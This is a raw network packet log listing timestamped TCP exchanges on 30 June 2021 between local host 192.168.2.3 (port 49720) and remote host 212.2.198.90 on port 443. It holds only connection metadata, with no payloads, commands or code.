Jun 30, 2021 20:06:09.481043100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481064081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481076002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481101036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481112957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481138945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481168985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481178045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481193066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481218100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481230974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481264114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481270075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481306076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481318951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481343031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481359959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481393099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481410027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481434107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481448889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481472015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481484890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481509924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481523037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481548071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481564045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481595993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481610060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481638908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481642962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481676102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481714010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481722116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481750011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481760025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481780052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481806040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481834888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481843948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481854916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481882095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481894016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481935024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481940031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481977940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.481985092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482016087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482026100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482054949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482079983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482093096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482111931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482131004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482134104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482170105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482183933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482209921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482242107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482258081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482273102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482310057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482315063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482353926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482366085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482393980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482413054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482431889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482439995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482470989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482484102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482510090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482522011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482548952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482562065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482595921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482599974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482636929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482650042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482672930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482685089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482709885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482739925 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482747078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482773066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482785940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482801914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482836008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482839108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482876062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482892036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482922077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482934952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.482964039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.482975960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483000040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483014107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483038902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483068943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483079910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483093977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483133078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483138084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483192921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483195066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483238935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483259916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483268976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483305931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483306885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483330965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483344078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483356953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483391047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483423948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483432055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483448982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483470917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483477116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483506918 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483532906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483551979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483551979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483572006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483618021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.483629942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.483669996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485336065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485374928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485419989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485440969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485464096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485486984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485496044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485522985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485523939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485558033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485589027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485591888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485634089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485641956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485671043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485690117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485709906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485719919 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485753059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485754013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485778093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485816956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485846043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485853910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485872030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485889912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485907078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485929012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485933065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.485969067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.485980988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486007929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486021042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486046076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486066103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486093044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486107111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486136913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486150980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486180067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486208916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486236095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486248970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486277103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486279964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486313105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486326933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486354113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486366987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486393929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486397982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486440897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486443043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486484051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486490011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486521006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486534119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486567020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486579895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486613035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486619949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486649990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486665010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486677885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486704111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486706018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486726999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486737967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486749887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486773014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486798048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486799955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486828089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486831903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486856937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486859083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486884117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486885071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486911058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486916065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486938953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486944914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486968994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.486979961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.486993074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487010956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487016916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487045050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487062931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487076044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487097025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487103939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487135887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487159014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487166882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487186909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487202883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487221956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487237930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487250090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487274885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487282991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487297058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487318039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487329006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487348080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487361908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487375975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487391949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487406969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487435102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487438917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487473011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487473965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487494946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487499952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487518072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487565041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487628937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487659931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487679005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487688065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487714052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487715006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487739086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487745047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487763882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487776995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487792015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487808943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487822056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487839937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487864971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487867117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487891912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487903118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487919092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487925053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487950087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487951040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487973928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.487993956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.487998962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488023996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488046885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488054991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488080025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488087893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488106966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488116980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488132000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488148928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488167048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488184929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.488209009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.488241911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533298016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533329010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533345938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533366919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533385992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533402920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533416033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533427954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533447027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533482075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533510923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533641100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533684015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533742905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533766985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533786058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533791065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533802032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533822060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.533823013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.533860922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535200119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535227060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535244942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535267115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535284996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535288095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535306931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535326004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535342932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535353899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535358906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535377026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535397053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535413980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535424948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535430908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535451889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535470963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535474062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535487890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535505056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535521030 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535526037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535547018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535551071 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535563946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535578966 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535582066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535602093 CEST	443	49720	212.2.198.90	192.168.2.3
